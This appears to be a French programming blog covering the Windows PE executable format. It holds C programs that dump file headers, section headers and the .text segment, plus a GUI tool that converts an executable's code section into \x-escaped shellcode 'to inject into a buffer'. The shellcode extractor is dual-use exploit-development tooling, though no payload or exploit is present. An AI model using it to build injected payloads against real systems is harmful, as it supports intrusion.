        ListView_GetItemText(hwndListView, iItem, 0, szFunc, 1024);

        Edit_SetText(hwndAddressEdit, szFunc);
    }


     

    Publié dans File format | Marqué avec , , , | Laisser un commentaire

    Get Shellcode pour Windows :

    Cet outil permet d’obtenir le shellcode à injecter dans un buffer depuis l’exécutable généré par votre assembleur.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    #include <windows.h>
    #include <stdio.h>
    #include <windowsx.h>

    typedef FILE *PFILE;

    #define APPLICATIONNAME "Get Shellcode\0"
    #define CLASSNAME       "GetShellcode\0"

    #define IDC_FILENAME_EDIT   101
    #define IDC_LOAD_BUTTON     102
    #define IDC_SHELLCODE_EDIT  103

    #define IDA_SHELLCODE_EDIT 201

    HINSTANCE hInst;
    HWND hWnd;

    ATOM                MyRegisterClass(HINSTANCE hInstance);
    BOOL                InitInstance(HINSTANCE, int);
    LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
    void                ResizeControls(HWND, HWND, HWND, HWND);
    void                OnButtonClick(HWND, HWND, HWND);
    void                GetShellcode(HWND, HWND, LPSTR);
    void                DumpTextSegment(PFILE, IMAGE_SECTION_HEADER, HWND, HWND);

    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
    {
        MSG msg;
        ACCEL accel;
        HACCEL haccel;

        MyRegisterClass(hInstance);
       
        if(!InitInstance(hInstance, nCmdShow))
        {
            return FALSE;
        }

        accel.fVirt = FCONTROL|FVIRTKEY;
        accel.key = 0x41;
        accel.cmd = IDA_SHELLCODE_EDIT;

        haccel = CreateAcceleratorTable(&accel, 1);

        if(haccel == NULL)
        {
            return FALSE;
        }

        while(GetMessage(&msg, NULL, 0, 0))
        {
            if(!TranslateAccelerator(hWnd, haccel, &msg))
            {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
        }
       
        return (int)msg.wParam;
    }

    ATOM MyRegisterClass(HINSTANCE hInstance)
    {
        WNDCLASSEX wcex;
       
        wcex.cbSize = sizeof(WNDCLASSEX);
       
        wcex.style          = CS_HREDRAW | CS_VREDRAW;
        wcex.lpfnWndProc    = WndProc;
        wcex.cbClsExtra     = 0;
        wcex.cbWndExtra     = 0;
        wcex.hInstance      = hInstance;
        wcex.hIcon          = LoadIcon(NULL, IDI_APPLICATION);
        wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
        wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
        wcex.lpszMenuName   = NULL;
        wcex.lpszClassName  = CLASSNAME;
        wcex.hIconSm        = LoadIcon(NULL, IDI_APPLICATION);
       
        return RegisterClassEx(&wcex);
    }

    BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
    {    
        hInst = hInstance; // Stocke le handle d'instance dans la variable globale.
       
        hWnd = CreateWindow(CLASSNAME, APPLICATIONNAME, WS_OVERLAPPEDWINDOW,
            CW_USEDEFAULT, 0, 800, 500, NULL, NULL, hInstance, NULL);
       
        if(!hWnd)
        {
            return FALSE;
        }
       
        ShowWindow(hWnd, nCmdShow);
        UpdateWindow(hWnd);
       
        return TRUE;
    }

    LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
        int wmId, wmEvent;
        PAINTSTRUCT ps;
        HDC hdc;

        static HWND hwndFilenameEdit;
        static HWND hwndLoadButton;
        static HWND hwndShellcodeEdit;

        switch(message)
        {
        case WM_CREATE:
            hwndFilenameEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_READONLY | ES_LEFT,
                0, 0, 0, 0, hWnd, (HMENU)IDC_FILENAME_EDIT, hInst, NULL);
            hwndLoadButton = CreateWindow("BUTTON", "Load...", WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON,
                0, 0, 0, 0, hWnd, (HMENU)IDC_LOAD_BUTTON, hInst, NULL);
            hwndShellcodeEdit = CreateWindow("EDIT", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | WS_VSCROLL | ES_READONLY | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,
                0, 0, 0, 0, hWnd, (HMENU)IDC_SHELLCODE_EDIT, hInst, NULL);
            ResizeControls(hwndFilenameEdit, hwndLoadButton, hwndShellcodeEdit, hWnd);
            break;
        case WM_SIZE:
            ResizeControls(hwndFilenameEdit, hwndLoadButton, hwndShellcodeEdit, hWnd);
            break;
        case WM_COMMAND:
            wmId    = LOWORD(wParam);
            wmEvent = HIWORD(wParam);
            // Analyse les sélections de menu :
            switch(wmId)
            {
            case IDC_LOAD_BUTTON:
                OnButtonClick(hwndFilenameEdit, hwndShellcodeEdit, hWnd);
                break;
            case IDA_SHELLCODE_EDIT:
                Edit_SetSel(hwndShellcodeEdit, 0, Edit_GetTextLength(hwndShellcodeEdit));
                SetFocus(hwndShellcodeEdit);
                break;
            default:
                return DefWindowProc(hWnd, message, wParam, lParam);
            }
            break;
        case WM_PAINT:
            hdc = BeginPaint(hWnd, &ps);
            // TODO : ajoutez ici le code de dessin...
            EndPaint(hWnd, &ps);
            break;
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }

        return 0;
    }

    void ResizeControls(HWND hwndFilenameEdit, HWND hwndLoadButton, HWND hwndShellcodeEdit, HWND hWnd)
    {
      RECT rcClient;
     
      GetClientRect(hWnd, &rcClient);
     
      MoveWindow(hwndFilenameEdit, 15, 15, rcClient.right - rcClient.left - (15 + 80 + 15 + 15), 25, TRUE);
     
      MoveWindow(hwndLoadButton, rcClient.right - (15 + 80), 15, 80, 25, TRUE);
     
      MoveWindow(hwndShellcodeEdit, 15, 15 + 25 + 15, rcClient.right - rcClient.left - (15 + 15),
          rcClient.bottom - rcClient.top - (15 + 25 + 15 + 15), TRUE);
    }

    void OnButtonClick(HWND hwndFilenameEdit, HWND hwndShellcodeEdit, HWND hWnd)
    {
        OPENFILENAME ofn;
        TCHAR szFile[1024];
       
        ZeroMemory(&ofn, sizeof(ofn));
        ofn.lStructSize     = sizeof(ofn);
        ofn.hwndOwner       = hWnd;
        ofn.lpstrFile       = szFile;
        ofn.lpstrFile[0]    = '\0';
        ofn.nMaxFile        = sizeof(szFile);
        ofn.lpstrFilter     = TEXT("Executable Files\0*.exe\0\0");
        ofn.nFilterIndex    = 1;
        ofn.lpstrFileTitle  = NULL;
        ofn.nMaxFileTitle   = 0;
        ofn.lpstrInitialDir = NULL;
        ofn.Flags           = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
       
        if(GetOpenFileName(&ofn))
        {
            Edit_SetText(hwndFilenameEdit, ofn.lpstrFile);
            return GetShellcode(hWnd, hwndShellcodeEdit, ofn.lpstrFile);
        }
    }

    void GetShellcode(HWND hWnd, HWND hwndShellcodeEdit, LPSTR lpstrFile)
    {
        PFILE pfile = NULL;
        IMAGE_DOS_HEADER iDosHeader;
        IMAGE_NT_HEADERS iNtHeaders;
        IMAGE_SECTION_HEADER iSectionHeader;

        pfile = fopen(lpstrFile, "rb");

        if(pfile == NULL)
        {
            MessageBox(hWnd, "Impossible d'ouvrir le fichier.", "Erreur", MB_OK | MB_ICONERROR);
            return;
        }

        fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

        fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

        fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

        for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
        {
            fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);

            if(!strcmp((char*)iSectionHeader.Name, ".text"))
            {
                return DumpTextSegment(pfile, iSectionHeader, hwndShellcodeEdit, hWnd);
            }
        }

        MessageBox(hWnd, "Impossible de trouver le segment text.", "Erreur", MB_OK | MB_ICONERROR);
       
        return;
    }

    void DumpTextSegment(PFILE pfile, IMAGE_SECTION_HEADER iSectionHeader, HWND hwndShellcodeEdit, HWND hWnd)
    {
        BYTE by = 0;
        int nLength = 0;
        char szText[5];

        Edit_SetText(hwndShellcodeEdit, "");

        fseek(pfile, iSectionHeader.PointerToRawData, SEEK_SET);

        for(DWORD dw = 0; dw < iSectionHeader.Misc.VirtualSize; dw++)
        {
            fread(&by, sizeof(BYTE), 1, pfile);
            sprintf(szText, "\\x%.2X", by);
           
            nLength = Edit_GetTextLength(hwndShellcodeEdit);
            Edit_SetSel(hwndShellcodeEdit, nLength, nLength);
            Edit_ReplaceSel(hwndShellcodeEdit, szText);
        }

        fclose(pfile);

        Edit_SetSel(hwndShellcodeEdit, 0, Edit_GetTextLength(hwndShellcodeEdit));

        SetFocus(hwndShellcodeEdit);
    }


     

    Publié dans Shellcode | Marqué avec , , | Laisser un commentaire

    Le format PE :

    Le format PE (Portable Executable) est le format utilisé sur Windows pour organiser les fichiers exécutables ainsi que les fichiers objets, donc, chaque .exe et .dll (pour ne citer qu’eux) sont créés selon ce format. Maintenant nous allons voir comment analyser ces deux types de fichiers pour obtenir toutes les informations utiles qui nous sont disponibles.

    Voici un schéma représentant la structure d’un fichier PE :

    +--------------------+
    |     Section n      |
    +--------------------+
    |        ...         |
    +--------------------+
    |     Section 2	     |
    +--------------------+
    |     Section 1      |
    +--------------------+
    |   Tableau de       | tableau de
    |   section header   | IMAGE_SECTION_HEADER
    +--------------------+-----------------------
    | PE Optional header | IMAGE_OPTIONAL_HEADER  
    +--------------------+                         
    |   PE File header   | IMAGE_FILE_HEADER        IMAGE_NT_HEADERS
    +--------------------+                         /
    |    PE Signature    | PE\0\0                 /
    +--------------------+-----------------------/
    |                    |
    +--------------------+
    |   MS-DOS header    | IMAGE_DOS_HEADER
    +--------------------+ offset 0

     

    L’en-tête MS-DOS (IMAGE_DOS_HEADER) est là pour permettre au format PE de rester compatible avec DOS, nous allons nous occuper seulement de deux des champs de cette structure :
    – Le champ e_magic qui doit être à IMAGE_DOS_SIGNATURE ou encore 0x5A4D qui signifie MZ (les initiales de Mark Zbikowski : l’un des développeurs MS-DOS) et qui sert à vérifier que le fichier est bien valide.
    – Le champ e_lfanew qui est l’offset vers la structure IMAGE_NT_HEADERS. Il regroupe donc la PE Signature, le PE File header et le PE Optional header.
    Toutes les structures concernant le format PE se trouvent dans le fichier « winnt.h ».

    Nous allons commencer par chercher puis afficher les informations qui nous sont disponibles dans la structure IMAGE_FILE_HEADER, ceci grâce à deux fonctions en C : fread() et fseek(). Il faudra lire IMAGE_DOS_HEADER, puis aller à l’offset e_lfanew et enfin lire IMAGE_NT_HEADERS.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    #include <windows.h>
    #include <stdio.h>
    #include <time.h>

    typedef struct
    {
        WORD flag;
        PCHAR name;
    }CHARACTERISTICS;

    CHARACTERISTICS arrCharacteristics[] =
    {
        {IMAGE_FILE_RELOCS_STRIPPED, "RELOCS_STRIPPED"},
        {IMAGE_FILE_EXECUTABLE_IMAGE, "EXECUTABLE_IMAGE"},
        {IMAGE_FILE_LINE_NUMS_STRIPPED, "LINE_NUMS_STRIPPED"},
        {IMAGE_FILE_LOCAL_SYMS_STRIPPED, "LOCAL_SYMS_STRIPPED"},
        {IMAGE_FILE_AGGRESIVE_WS_TRIM, "AGGRESIVE_WS_TRIM"},
        {IMAGE_FILE_LARGE_ADDRESS_AWARE, "LARGE_ADDRESS_AWARE"},
        {IMAGE_FILE_BYTES_REVERSED_LO, "BYTES_REVERSED_LO"},
        {IMAGE_FILE_32BIT_MACHINE, "32BIT_MACHINE"},
        {IMAGE_FILE_DEBUG_STRIPPED, "DEBUG_STRIPPED"},
        {IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP, "REMOVABLE_RUN_FROM_SWAP"},
        {IMAGE_FILE_NET_RUN_FROM_SWAP, "NET_RUN_FROM_SWAP"},
        {IMAGE_FILE_SYSTEM, "SYSTEM"},
        {IMAGE_FILE_DLL, "DLL"},
        {IMAGE_FILE_UP_SYSTEM_ONLY, "UP_SYSTEM_ONLY"},
        {IMAGE_FILE_BYTES_REVERSED_HI, "BYTES_REVERSED_HI"}
    };

    void DumpImageFileHeader(IMAGE_FILE_HEADER iFileHeader);

    int main(int argc, char *argv[])
    {
        IMAGE_DOS_HEADER iDosHeader;
        IMAGE_NT_HEADERS iNtHeaders;
        FILE *pfile = NULL;
       
        if(argc != 2)
        {
            printf("USAGE: DumpImageFileHeader.exe <fichier>\n");
            printf("EXAMPLE: DumpImageFileHeader.exe C:\\Windows\\System32\\kernel32.dll\n");
            printf("\n");
            system("PAUSE");
            exit(1);
        }
       
        pfile = fopen(argv[1], "rb");
       
        if(pfile == NULL)
        {
            printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
            exit(1);
        }
       
        // On lit l'en-tête DOS :
        fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);
       
        // On check la signature :
        if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }
       
        // On se positionne à l'offset de l'en-tête NT :
        fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);
       
        // On lit l'en-tête NT :
        fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);
       
        // On check la signature :
        if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }
       
        DumpImageFileHeader(iNtHeaders.FileHeader);
       
        return 0;
    }

    void DumpImageFileHeader(IMAGE_FILE_HEADER iFileHeader)
    {
        // Machine
        if(iFileHeader.Machine == IMAGE_FILE_MACHINE_I386)
            printf("[*] Machine: %.4X (x86)\n", iFileHeader.Machine);
        else if(iFileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
            printf("[*] Machine: %.4X (x64)\n", iFileHeader.Machine);
        else printf("[*] Machine: %.4X (ni x86 ni x64)\n", iFileHeader.Machine);
       
        printf("\n");
       
        // NumberOfSections
        printf("[*] NumberOfSections: %hu\n", iFileHeader.NumberOfSections);
       
        printf("\n");
       
        // TimeDateStamp
        printf("[*] TimeDateStamp: %lu\n", iFileHeader.TimeDateStamp);
        printf("    %s", ctime((time_t*)&iFileHeader.TimeDateStamp));
       
        printf("\n");
       
        // PointerToSymbolTable
        printf("[*] PointerToSymbolTable: %.8X\n", iFileHeader.PointerToSymbolTable);
       
        printf("\n");
       
        // NumberOfSymbols
        printf("[*] NumberOfSymbols: %lu\n", iFileHeader.NumberOfSymbols);
       
        printf("\n");
       
        // SizeOfOptionalHeader
        printf("[*] SizeOfOptionalHeader: %hu\n", iFileHeader.SizeOfOptionalHeader);
       
        printf("\n");
       
        // Characteristics
        printf("[*] Characteristics: %.4X\n", iFileHeader.Characteristics);
        for(unsigned u = 0; u < sizeof(arrCharacteristics) / sizeof(CHARACTERISTICS); u++)
        {
            if(iFileHeader.Characteristics & arrCharacteristics[u].flag)
            {
                printf("    %s\n", arrCharacteristics[u].name);
            }
        }
    }


     

    Maintenant, occupons-nous de lister toutes les informations concernant chaque section. Le tableau des sections se trouve juste après IMAGE_NT_HEADERS et dans le code précédent nous avons obtenu le nombre de sections disponibles, nous savons donc combien de IMAGE_SECTION_HEADER il faut lire.

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    #include <windows.h>
    #include <stdio.h>

    typedef struct
    {
        DWORD flag;
        PCHAR name;
    }CHARACTERISTICS;

    CHARACTERISTICS arrCharacteristics[] =
    {
        {IMAGE_SCN_TYPE_NO_PAD, "TYPE_NO_PAD"},
        {IMAGE_SCN_CNT_CODE, "CNT_CODE"},
        {IMAGE_SCN_CNT_INITIALIZED_DATA, "CNT_INITIALIZED_DATA"},
        {IMAGE_SCN_CNT_UNINITIALIZED_DATA, "CNT_UNINITIALIZED_DATA"},
        {IMAGE_SCN_LNK_OTHER, "LNK_OTHER"},
        {IMAGE_SCN_LNK_INFO, "LNK_INFO"},
        {IMAGE_SCN_LNK_REMOVE, "LNK_REMOVE"},
        {IMAGE_SCN_LNK_COMDAT, "LNK_COMDAT"},
        {IMAGE_SCN_NO_DEFER_SPEC_EXC, "NO_DEFER_SPEC_EXC"},
        {IMAGE_SCN_GPREL, "GPREL"},
        {IMAGE_SCN_MEM_FARDATA, "MEM_FARDATA"},
        {IMAGE_SCN_MEM_PURGEABLE, "MEM_PURGEABLE"},
        {IMAGE_SCN_MEM_16BIT, "MEM_16BIT"},
        {IMAGE_SCN_MEM_LOCKED, "MEM_LOCKED"},
        {IMAGE_SCN_MEM_PRELOAD, "MEM_PRELOAD"},
        {IMAGE_SCN_ALIGN_1BYTES, "ALIGN_1BYTES"},
        {IMAGE_SCN_ALIGN_2BYTES, "ALIGN_2BYTES"},
        {IMAGE_SCN_ALIGN_4BYTES, "ALIGN_4BYTES"},
        {IMAGE_SCN_ALIGN_8BYTES, "ALIGN_8BYTES"},
        {IMAGE_SCN_ALIGN_16BYTES, "ALIGN_16BYTES"},
        {IMAGE_SCN_ALIGN_32BYTES, "ALIGN_32BYTES"},
        {IMAGE_SCN_ALIGN_64BYTES, "ALIGN_64BYTES"},
        {IMAGE_SCN_ALIGN_128BYTES, "ALIGN_128BYTES"},
        {IMAGE_SCN_ALIGN_256BYTES, "ALIGN_256BYTES"},
        {IMAGE_SCN_ALIGN_512BYTES, "ALIGN_512BYTES"},
        {IMAGE_SCN_ALIGN_1024BYTES, "ALIGN_1024BYTES"},
        {IMAGE_SCN_ALIGN_2048BYTES, "ALIGN_2048BYTES"},
        {IMAGE_SCN_ALIGN_4096BYTES, "ALIGN_4096BYTES"},
        {IMAGE_SCN_ALIGN_8192BYTES, "ALIGN_8192BYTES"},
        {IMAGE_SCN_ALIGN_MASK, "ALIGN_MASK"},
        {IMAGE_SCN_LNK_NRELOC_OVFL, "LNK_NRELOC_OVFL"},
        {IMAGE_SCN_MEM_DISCARDABLE, "MEM_DISCARDABLE"},
        {IMAGE_SCN_MEM_NOT_CACHED, "MEM_NOT_CACHED"},
        {IMAGE_SCN_MEM_NOT_PAGED, "MEM_NOT_PAGED"},
        {IMAGE_SCN_MEM_SHARED, "MEM_SHARED"},
        {IMAGE_SCN_MEM_EXECUTE, "MEM_EXECUTE"},
        {IMAGE_SCN_MEM_READ, "MEM_READ"},
        {IMAGE_SCN_MEM_WRITE, "MEM_WRITE"}
    };

    void GetSegmentsInfos(IMAGE_SECTION_HEADER iSectionHeader);

    int main(int argc, char *argv[])
    {
        IMAGE_DOS_HEADER iDosHeader;
        IMAGE_NT_HEADERS iNtHeaders;
        IMAGE_SECTION_HEADER iSectionHeader;
        FILE *pfile = NULL;
       
        if(argc != 2)
        {
            printf("USAGE: GetSegmentsInfos.exe <fichier>\n");
            printf("EXAMPLE: GetSegmentsInfos.exe C:\\Windows\\System32\\kernel32.dll\n");
            printf("\n");
            system("PAUSE");
            exit(1);
        }
       
        pfile = fopen(argv[1], "rb");
       
        if(pfile == NULL)
        {
            printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
            exit(1);
        }
       
        // On lit l'en-tête DOS :
        fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);
       
        // On check la signature :
        if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }
       
        // On se positionne à l'offset de l'en-tête NT :
        fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);
       
        // On lit l'en-tête NT :
        fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);
       
        // On check la signature :
        if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }

        for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
        {
            // On lit une structure IMAGE_SECTION_HEADER :
            fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);
            GetSegmentsInfos(iSectionHeader);
        }

        fclose(pfile);
       
        return 0;
    }

    void GetSegmentsInfos(IMAGE_SECTION_HEADER iSectionHeader)
    {
        // Name
        printf("[*] Name: %s\n", iSectionHeader.Name);

        printf("\n");

        // VirtualSize :
        printf("[*] VirtualSize: %lu\n", iSectionHeader.Misc.VirtualSize);

        printf("\n");

        // VirtualAddress :
        printf("[*] VirtualAddress: %.8X\n", iSectionHeader.VirtualAddress);

        printf("\n");

        // SizeOfRawData :
        printf("[*] SizeOfRawData: %lu\n", iSectionHeader.SizeOfRawData);

        printf("\n");

        // PointerToRawData :
        printf("[*] PointerToRawData: %.8X\n", iSectionHeader.PointerToRawData);

        printf("\n");

        // PointerToRelocations :
        printf("[*] PointerToRelocations: %.8X\n", iSectionHeader.PointerToRelocations);

        printf("\n");

        // PointerToLinenumbers :
        printf("[*] PointerToLinenumbers: %.8X\n", iSectionHeader.PointerToLinenumbers);

        printf("\n");

        // NumberOfRelocations :
        printf("[*] NumberOfRelocations: %hu\n", iSectionHeader.NumberOfRelocations);

        printf("\n");
       
        // NumberOfLinenumbers :
        printf("[*] NumberOfLinenumbers: %hu\n", iSectionHeader.NumberOfLinenumbers);

        printf("\n");

        // Characteristics :
        printf("[*] Characteristics: %.8X\n", iSectionHeader.Characteristics);
        for(unsigned u = 0; u < sizeof(arrCharacteristics) / sizeof(CHARACTERISTICS); u++)
        {
            if(iSectionHeader.Characteristics & arrCharacteristics[u].flag)
            {
                printf("    %s\n", arrCharacteristics[u].name);
            }
        }

        printf("\n");

        printf("    -------------------------\n\n\n");
    }


     

    Pour dumper une section, il suffit de se placer à PointerToRawData de la section et de lire les bytes, exemple pour dumper le segment « .text » :

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    #include <windows.h>
    #include <stdio.h>

    void DumpTextSegment(IMAGE_SECTION_HEADER iSectionHeader, FILE *pfile);

    int main(int argc, char *argv[])
    {
        IMAGE_DOS_HEADER iDosHeader;
        IMAGE_NT_HEADERS iNtHeaders;
        IMAGE_SECTION_HEADER iSectionHeader;
        FILE *pfile = NULL;
       
        if(argc != 2)
        {
            printf("USAGE: DumpTextSegment.exe <fichier>\n");
            printf("EXAMPLE: DumpTextSegment.exe C:\\Windows\\System32\\kernel32.dll\n");
            printf("\n");
            system("PAUSE");
            exit(1);
        }
       
        pfile = fopen(argv[1], "rb");
       
        if(pfile == NULL)
        {
            printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
            exit(1);
        }
       
        // On lit l'en-tête DOS :
        fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);
       
        // On check la signature :
        if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }
       
        // On se positionne à l'offset de l'en-tête NT :
        fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);
       
        // On lit l'en-tête NT :
        fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);
       
        // On check la signature :
        if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
        {
            printf("ERREUR : le fichier n'est pas valide!\n");
            exit(1);
        }

        for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
        {
            // On lit une section :
            fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);
           
            // Est-ce la section .text?
            if(!strcmp((char*)iSectionHeader.Name, ".text"))
            {
                DumpTextSegment(iSectionHeader, pfile);
                break;
            }
        }
       
        printf("\n");

        return 0;
    }

    void DumpTextSegment(IMAGE_SECTION_HEADER iSectionHeader, FILE *pfile)
    {
        BYTE by = 0;
        DWORD i;
        unsigned u = 0;

        // On se place au debut de la section :
        fseek(pfile, iSectionHeader.PointerToRawData, SEEK_SET);

        for(i = 0, u = 0; i < iSectionHeader.Misc.VirtualSize; i++, u++)
        {
            // On lit byte par byte :
            fread(&by, sizeof(BYTE), 1, pfile);

            if(u == 16)
            {
                printf("\n");
                u = 0;
            }

            printf("%.2X ", by);
        }
    }


     

    Maintenant, allons-y pour la table d’import, cette table contient les fonctions importées, c’est à dire les fonctions utilisées par un programme ou une dll mais qui ne réside pas dans ces derniers. Elles sont en fait définies dans d’autres dll. Par exemple, pour utiliser la fonction ExitProcess dans un programme, on doit l’importer de kernel32.dll ; pour la fonction MessageBox on l’importe de user32.dll.

    Il est nécessaire pour lister les fonctions importées de savoir ce qu’est une RVA (Relative Virtual Address) : c’est enfaîte une adresse relative à une autre, l’adresse de base, par exemple si ImageBase est à 0x00400000 et que AddressOfEntryPoint est à 0x00001000 alors l’adresse du point d’entré de l’exécutable sera à 0x00401000.

    On accède à la table d’importation grâce au champ DataDirectory de la structure IMAGE_OPTIONAL_HEADER, qui est un tableau de structure d’IMAGE_DATA_DIRECTORY contenant 2 membres : la RVA d’une structure de données et sa taille.
    On trouve la structure de données qui nous intéresse, c’est à dire celle des importations, qui se nomme IMAGE_IMPORT_DESCRIPTOR, et tout cela grâce à la constante IMAGE_DIRECTORY_ENTRY_IMPORT qui correspond à l’index du tableau d’IMAGE_DATA_DIRECTORY.

    Il y a autant d’IMAGE_IMPORT_DESCRIPTOR que de dll depuis lesquelles on importe des fonctions, le dernier a tous ses champs mis à 0.

    Le champ Name de la structure IMAGE_IMPORT_DESCRIPTOR contient la RVA vers le nom de la dll. Les champs OriginalFirstThunk et FirstThunk sont normalement identiques tant que le programme n’est pas chargé. Ils peuvent être la RVA vers une structure appelée IMAGE_IMPORT_BY_NAME ou un simple DWORD, car une fonction peut être importée par son nom mais aussi par son ordinal/index (vous comprendrez tout cela dans la section suivante (celle qui parle des fonctions exportées).
    Pour savoir si la fonction est importée par son nom ou par son index/ordinal, le bit de poids fort du « Thunk » sera égal à 0 sinon à 1. L’index sera le word de poids faible.
    Pour tester ce bit, il existe une constante appelée IMAGE_ORDINAL_FLAG32.

    Si la fonction est importée par son nom, on utilise la structure IMAGE_IMPORT_BY_NAME contenant deux champs, le premier : Hint qui contient l’index/ordinal de la fonction dans la table d’exportation de la dll, et le second : Name qui est le nom de la fonction.

